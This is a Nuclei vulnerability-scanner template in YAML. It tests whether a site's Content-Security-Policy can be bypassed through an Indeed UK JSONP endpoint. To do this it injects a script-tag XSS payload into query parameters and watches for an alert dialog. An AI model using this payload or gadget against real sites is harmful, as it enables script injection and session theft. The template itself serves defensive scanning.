id: indeed-uk-csp-bypass

info:
  name: Content-Security-Policy Bypass - Indeed UK
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,indeed-uk

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "indeed.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: indeed_uk_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://uk.indeed.com/m/newjobs?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "indeed_uk_csp_xss == true"
# digest: 4a0a004730450220396186a0f50eb5393185e45e1f083417961c9de8ad929426465e325fe8a35091022100cdc57d2ef63ba8ab7d0b6def19c83b8eafe2493fd94bbafec8271bd6f8426c99:922c64590222798bb761d5b6d8e72950